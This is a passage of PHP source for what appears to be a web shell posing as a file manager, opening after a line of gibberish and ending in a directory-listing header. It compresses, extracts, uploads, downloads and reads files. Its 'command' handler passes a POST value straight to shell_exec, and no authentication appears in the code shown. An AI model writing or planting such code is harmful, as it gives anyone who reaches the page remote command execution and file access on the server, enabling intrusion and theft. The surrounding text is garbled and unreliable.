grthtrhthjhtyjytjytkergtrhtrjytjerhrfh4:24 29/09/2026open($zip_name, ZipArchive::CREATE) === TRUE) { if (is_dir($target_path)) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($target_path), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($files as $file) { if (!$file->isDir()) { $file_path = $file->getRealPath(); $relative_path = substr($file_path, strlen($target_path) + 1); $zip->addFile($file_path, $relative_path); } } } else { $zip->addFile($target_path, basename($target_path)); } $zip->close(); } } break; case 'uncompress': if ($target_path && is_file($target_path) && pathinfo($target_path, PATHINFO_EXTENSION) === 'zip') { $zip = new ZipArchive(); if ($zip->open($target_path) === TRUE) { $zip->extractTo($current_path); $zip->close(); } } break; case 'command': $command = isset($_POST['command']) ? $_POST['command'] : ''; if ($command) { $output = shell_exec("cd $current_path && $command 2>&1"); } break; } header("Location: ?path=" . urlencode($current_path)); exit; } // Handle file upload if (isset($_FILES['file'])) { $upload_path = $current_path . '/' . basename($_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'], $upload_path); header("Location: ?path=" . urlencode($current_path)); exit; } // Handle file download if (isset($_GET['download'])) { $target = sanitize_path($_GET['download']); $target_path = realpath($current_path . '/' . $target); if ($target_path && file_exists($target_path)) { if (is_dir($target_path)) { $zip = new ZipArchive(); $zip_name = $target_path . '.zip'; if ($zip->open($zip_name, ZipArchive::CREATE) === TRUE) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($target_path), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($files as $file) { if (!$file->isDir()) { $file_path = $file->getRealPath(); $relative_path = substr($file_path, strlen($target_path) + 1); $zip->addFile($file_path, $relative_path); } } $zip->close(); header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . basename($zip_name) . '"'); header('Content-Length: ' . filesize($zip_name)); readfile($zip_name); unlink($zip_name); exit; } } else { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($target_path) . '"'); header('Content-Length: ' . filesize($target_path)); readfile($target_path); exit; } } } // Handle file editing if (isset($_GET['file'])) { $file_to_edit = sanitize_path($_GET['file']); $file_path = realpath($current_path . '/' . $file_to_edit); if ($file_path && is_file($file_path) && strpos($file_path, realpath($current_path)) === 0) { $file_content = file_get_contents($file_path); } else { $file_content = "Cannot edit this file."; } } if (isset($_GET['file']) && isset($_GET['raw'])) { $file_to_edit = sanitize_path($_GET['file']); $file_path = realpath($current_path . '/' . $file_to_edit); if ($file_path && is_file($file_path) && strpos($file_path, realpath($current_path)) === 0) { header("Content-Type: text/plain"); echo file_get_contents($file_path); exit; } else { http_response_code(403); echo "Cannot edit this file."; exit; } } ?>

Name Type Size Permissions Owner/Group Last Modified Actions
.. Parent Directory
Directory
File